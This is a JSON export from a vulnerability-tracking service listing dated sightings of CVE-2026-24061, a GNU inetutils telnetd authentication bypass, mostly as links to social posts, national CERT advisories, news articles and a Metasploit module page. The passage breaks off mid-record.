{"vulnerability": "cve-2026-24061", "sightings": [{"uuid": "2655a328-672c-40a3-a4f3-3351a12290d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/montef.mastodon.social.ap.brid.gy/post/3mdix2kic7xu2", "content": "", "creation_timestamp": "2026-01-28T18:53:24.078505Z"}, {"uuid": "5ea18cd1-d21c-4c76-aee9-a3d78855a24f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/waldoj.mastodon.social.ap.brid.gy/post/3memhzlvlec42", "content": "", "creation_timestamp": "2026-02-11T22:00:22.448014Z"}, {"uuid": "36a335c1-8976-44ac-9b3d-5e2710ae1fc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mdxav5phyc2c", "content": "", "creation_timestamp": "2026-02-03T11:26:37.771335Z"}, {"uuid": "97f62059-dcb9-4b66-8c28-bd278be9baec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116166775086265597", "content": "", "creation_timestamp": "2026-03-03T18:58:41.059998Z"}, {"uuid": "92aee41f-41c7-461f-9694-74413f784686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/catsalad/statuses/116055268508883594", "content": "", "creation_timestamp": "2026-02-12T02:21:09.812358Z"}, {"uuid": "78cf70fe-7635-4d32-8c0a-ef54e0fbb77a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mf6aazon7xa2", "content": "", "creation_timestamp": "2026-02-18T23:29:13.243003Z"}, {"uuid": "db2ca1b9-0b00-4cb0-bd18-b2f0598911cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/stux.mstdn.social.ap.brid.gy/post/3mdj47oyg3672", "content": "", "creation_timestamp": "2026-01-28T20:25:43.869015Z"}, {"uuid": "ab37bb84-4aeb-44df-ac74-6a1f21bdc63e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3memp2mqv7z25", "content": "", "creation_timestamp": "2026-02-12T00:06:05.159704Z"}, {"uuid": "5c58b6a6-f034-4351-be6d-037757f56626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3memx22zzpe2s", "content": "", "creation_timestamp": "2026-02-12T02:28:56.879945Z"}, {"uuid": "8e824a16-8aab-4fab-9b75-92a36a66dbe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/telnet/gnu_inetutils_auth_bypass.rb", "content": "", "creation_timestamp": "2026-02-11T19:22:12.000000Z"}, {"uuid": "2f7aae53-1f24-4b8a-a6bf-ef35f450dccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/igalog.bsky.social/post/3me3jqxpffq2r", "content": "", "creation_timestamp": "2026-02-05T04:15:56.784199Z"}, {"uuid": "498ec996-4b85-42e0-a281-9a0eb22795d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mgcujwt6tk2x", "content": "", "creation_timestamp": "2026-03-05T13:07:53.643678Z"}, {"uuid": "f5ab6e5b-1ad8-4015-8324-395ac0ddc412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdjqikohbn2y", "content": "", "creation_timestamp": "2026-01-29T02:28:35.686866Z"}, {"uuid": "51daa8ce-ff80-4743-bda0-d8155fbe80c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/fser.bsky.social/post/3meed42jmqs27", "content": "", "creation_timestamp": "2026-02-08T16:10:50.689824Z"}, {"uuid": "6a5196b0-6d66-4f33-8275-66aeab541ead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mdjnlhevin22", "content": "", "creation_timestamp": "2026-01-29T01:36:31.487619Z"}, {"uuid": "55aedaea-ff0b-4d86-acc8-857cca73a3b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116176718378065216", "content": "", "creation_timestamp": "2026-03-05T13:07:20.454010Z"}, {"uuid": "858220d3-c4b7-4e3c-8801-b999c9ebae1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mdtypk7mar2s", "content": "", "creation_timestamp": "2026-02-02T04:22:17.481157Z"}, {"uuid": "9ee4c1d2-8a96-425c-8241-c3edc53b45ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://threatintel.cc/2026/03/05/cve-critical-telnetd-flaw-grants.html", "content": "", "creation_timestamp": "2026-03-05T12:07:25.000000Z"}, {"uuid": "9280fe07-33d2-458a-a05d-77477b7ba396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/topickapp.bsky.social/post/3melkrumkky2g", "content": "", "creation_timestamp": "2026-02-11T13:16:57.799052Z"}, {"uuid": "a2b33705-51a0-4025-8c93-e93098717b65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meezyw6spc2l", "content": "", "creation_timestamp": "2026-02-08T23:00:42.486919Z"}, {"uuid": "6acdff6f-1af6-45bf-b172-2147caddef9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "MISP/f20bd5ae-cac7-43b7-aaa4-ff1d9fb419d8", "content": "", "creation_timestamp": "2026-02-23T13:44:49.000000Z"}, {"uuid": "4119a66b-a953-464b-ab94-c4737999d100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdorfuu5sc26", "content": "", "creation_timestamp": "2026-01-31T02:28:18.153502Z"}, {"uuid": "ce3abe44-e857-45c8-a84d-1019d629b0d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mgbwpih2dm22", "content": "", "creation_timestamp": "2026-03-05T04:14:08.008032Z"}, {"uuid": "a0684192-d712-4bfc-be46-002dd4951b1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdmaxralej2v", "content": "", "creation_timestamp": "2026-01-30T02:28:45.207987Z"}, {"uuid": "af5c1f32-bd9b-4ef0-aee3-4840014636da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/guardian360.bsky.social/post/3mdkd2cc33s2h", "content": "", "creation_timestamp": "2026-01-29T08:00:37.995947Z"}, {"uuid": "19c324a0-be93-4a9f-a2f0-ca47015b57ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mdos2zyhxc2v", "content": "", "creation_timestamp": "2026-01-31T02:40:08.059256Z"}, {"uuid": "c293c15d-836d-45aa-ad06-fb9cbdbf6f47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mev5umkxoc2w", "content": "", "creation_timestamp": "2026-02-15T08:52:30.215494Z"}, {"uuid": "4023efff-4689-4445-9f32-eae7be971336", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mdlzmkcuus2n", "content": "", "creation_timestamp": "2026-01-30T00:17:17.349611Z"}, {"uuid": "b097d30f-b818-47bf-85fa-44b2afd68840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3melthgpxrc2b", "content": "", "creation_timestamp": "2026-02-11T15:52:11.036581Z"}, {"uuid": "b81368b9-19e2-4c5e-ac47-65809ac1bd5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/5922989", "content": "", "creation_timestamp": "2026-03-04T01:43:20.001454Z"}, {"uuid": "079cbf57-7b1e-4384-9e21-554db1b622fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/lobst3r.bsky.social/post/3mejajreznf2e", "content": "", "creation_timestamp": "2026-02-10T15:08:08.101809Z"}, {"uuid": "d884ae9a-1719-4ccb-b26e-73871c31a368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mdzrsiwrki2p", "content": "", "creation_timestamp": "2026-02-04T11:34:38.716010Z"}, {"uuid": "37e4eb7d-e151-4faa-80f3-0fe8e0fb89c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/solidot.bsky.social/post/3mevqqmx3ky2z", "content": "", "creation_timestamp": "2026-02-15T14:30:15.078605Z"}, {"uuid": "1be7a210-84d8-4151-ad83-33ab257dcce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mem54aeak22k", "content": "", "creation_timestamp": "2026-02-11T18:44:51.930731Z"}, {"uuid": "80a2c44b-61ba-4ead-bcf9-bdbca7a87050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/appinn.bsky.social/post/3mhhnrhthlw2u", "content": "", "creation_timestamp": "2026-03-20T04:15:20.496600Z"}, {"uuid": "cc36f3e6-ba66-4e37-a9b3-8c35f5f98c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mg5xbb7ju226", "content": "", "creation_timestamp": "2026-03-03T14:13:26.186406Z"}, {"uuid": "67009f14-bf65-4a09-97a5-58a558aeeabe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3me27boe5b22b", "content": "", "creation_timestamp": "2026-02-04T15:35:51.051608Z"}, {"uuid": "7a86ee42-0ea6-4b40-b49e-448ad44d93cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://www.acn.gov.it/portale/w/vulnerabilita-in-gnu-inetutils-telnetd-e-rischi-strutturali-del-protocollo-telnet", "content": "", "creation_timestamp": "2026-03-18T14:06:23.000000Z"}, {"uuid": "644b7dd7-86e5-4b83-91da-242ba41b0f69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcw7ecrteg25", "content": "", "creation_timestamp": "2026-01-21T08:01:25.523619Z"}, {"uuid": "5e6f2c51-43c6-4321-8a72-ff149c20fbab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcwers7abk2t", "content": "", "creation_timestamp": "2026-01-21T09:38:25.361120Z"}, {"uuid": "e77a092f-ae61-416e-9c39-27d46397791a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mcxzebw4v3l2", "content": "", "creation_timestamp": "2026-01-22T01:25:29.216643Z"}, {"uuid": "2a14cfc0-019c-462b-b3c4-73e2a4b98275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mcy56l7tk42l", "content": "", "creation_timestamp": "2026-01-22T02:27:44.209160Z"}, {"uuid": "dc4c7cce-8e27-435c-abe7-b6ba864145d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mcyj7elqd22x", "content": "", "creation_timestamp": "2026-01-22T06:02:59.443040Z"}, {"uuid": "e311931c-cf3b-4777-8e73-ab8557ff226a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/115937624800778914", "content": "", "creation_timestamp": "2026-01-22T07:42:43.680620Z"}, {"uuid": "f245d264-9f85-46a7-9e8c-93d8669e674a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3mcyos2oydfh2", "content": "", "creation_timestamp": "2026-01-22T07:47:24.142341Z"}, {"uuid": "74c24ff9-670e-454d-b178-3ef1cd541873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mcysejlnjhm2", "content": "", "creation_timestamp": "2026-01-22T08:49:22.031383Z"}, {"uuid": "bf6d9a14-aa80-4871-920f-2dd55970cc76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://www.cert.se/2026/01/cert-se-veckobrev-v5.html", "content": "", "creation_timestamp": "2026-01-30T13:50:00.000000Z"}, {"uuid": "ff8b7231-6e01-4222-84c0-2ac5dec7da2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mcwnpj46vs2j", "content": "", "creation_timestamp": "2026-01-21T12:18:21.197358Z"}, {"uuid": "52405833-9225-45b2-80dc-9584215dae54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mcwnpl6tps2j", "content": "", "creation_timestamp": "2026-01-21T12:18:21.691350Z"}, {"uuid": "0668603e-958d-4363-be6a-bc8d2a0b4ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mcwnpnhlts2j", "content": "", "creation_timestamp": "2026-01-21T12:18:22.228934Z"}, {"uuid": "ed2bb6ed-d64c-4450-a68d-b2168353e4e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/81922", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a midox008\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-28 08:59:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nGNU Inetutils telnetd Remote Authentication Bypass\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-28T09:00:04.000000Z"}, {"uuid": "37f520e8-56ef-450d-805a-0405ae1b99d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cert-fr.bsky.social/post/3mcx3rq36oz2p", "content": "", "creation_timestamp": "2026-01-21T16:29:59.192960Z"}, {"uuid": "3c06ade2-29bd-4963-b2a9-a65717d49da5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://social.numerique.gouv.fr/users/cert_fr/statuses/115934035856124849", "content": "", "creation_timestamp": "2026-01-21T16:30:00.886831Z"}, {"uuid": "cef74ab6-4463-413a-9382-8842493558e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/gnu-security-advisory-av26-047", "content": "", "creation_timestamp": "2026-01-21T16:11:58.000000Z"}, {"uuid": "aa14b3a6-436f-45e5-a114-e9e7bdebc578", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/115938552820592809", "content": "", "creation_timestamp": "2026-01-22T11:38:43.139608Z"}, {"uuid": "e7ed7907-6e19-4b34-bdef-b4fa81bd8347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3mcz3xutgme72", "content": "", "creation_timestamp": "2026-01-22T11:38:57.922597Z"}, {"uuid": "34cd13ec-bbfb-43f9-a585-b19d28798cff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mcz6hled7s22", "content": "", "creation_timestamp": "2026-01-22T12:23:30.342138Z"}, {"uuid": "e4ae8f84-10e3-4cbe-b101-69b2e6084c1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mcz6nam3gj2v", "content": "", "creation_timestamp": "2026-01-22T12:26:29.780524Z"}, {"uuid": "3f109908-e175-4b3d-963c-ff69ddabb034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mcz6zxa27z2g", "content": "", "creation_timestamp": "2026-01-22T12:33:36.438776Z"}, {"uuid": "67f09e16-938d-4f6f-916a-277dbb355dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cybersentinel404.bsky.social/post/3mcznpkr4ok2b", "content": "", "creation_timestamp": "2026-01-22T16:56:13.440190Z"}, {"uuid": "47f57e7f-a1ce-43b8-bacc-279e0037e44d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-002-vulnerability-affecting-gnu-inetutils-telnetd-cve-2026-24061", "content": "", "creation_timestamp": "2026-01-22T12:18:29.000000Z"}, {"uuid": "f06f3c8a-b0c7-455e-b1a6-42250c343030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mcznzokahj2f", "content": "", "creation_timestamp": "2026-01-22T17:01:53.821582Z"}, {"uuid": "ffdedae8-62fc-4438-bfa7-8fe999d75df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/colin-mcmillen.piaille.fr.ap.brid.gy/post/3mczpfga6fvn2", "content": "", "creation_timestamp": "2026-01-22T17:32:51.211118Z"}, {"uuid": "bbab0101-37c6-44a7-964b-c5b4e5d7cbd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/t3mp-0x.cc/post/3mczqu74gqk2a", "content": "", "creation_timestamp": "2026-01-22T17:52:30.208165Z"}, {"uuid": "614b80bc-01b8-416a-9b81-a835fcfa0381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3mczrdk5ogk27", "content": "", "creation_timestamp": "2026-01-22T18:01:05.469678Z"}, {"uuid": "7a85b13a-abe6-4fd9-bad8-fa0966e40e28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mczsbvu6fk27", "content": "", "creation_timestamp": "2026-01-22T18:18:14.432956Z"}, {"uuid": "a343820f-2aa8-415c-84c2-f60f48d5a430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://thehackernews.com/2026/01/critical-gnu-inetutils-telnetd-flaw.html", "content": "", "creation_timestamp": "2026-01-22T15:30:00.000000Z"}, {"uuid": "6f37daf0-07f1-45a0-9082-70d03ae0b17f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/102", "content": "", "creation_timestamp": "2026-01-22T16:39:05.000000Z"}, {"uuid": "da4ee328-8675-4539-868b-42f9498ced81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3md265vuvbq23", "content": "", "creation_timestamp": "2026-01-22T21:50:35.269644Z"}, {"uuid": "557b7332-53d6-4688-a4d7-da866a371c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cybersentinel404.bsky.social/post/3md2adz5ogk2j", "content": "", "creation_timestamp": "2026-01-22T22:29:46.964593Z"}, {"uuid": "67fcb4a4-f324-468f-ad14-7e5985ff1ecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 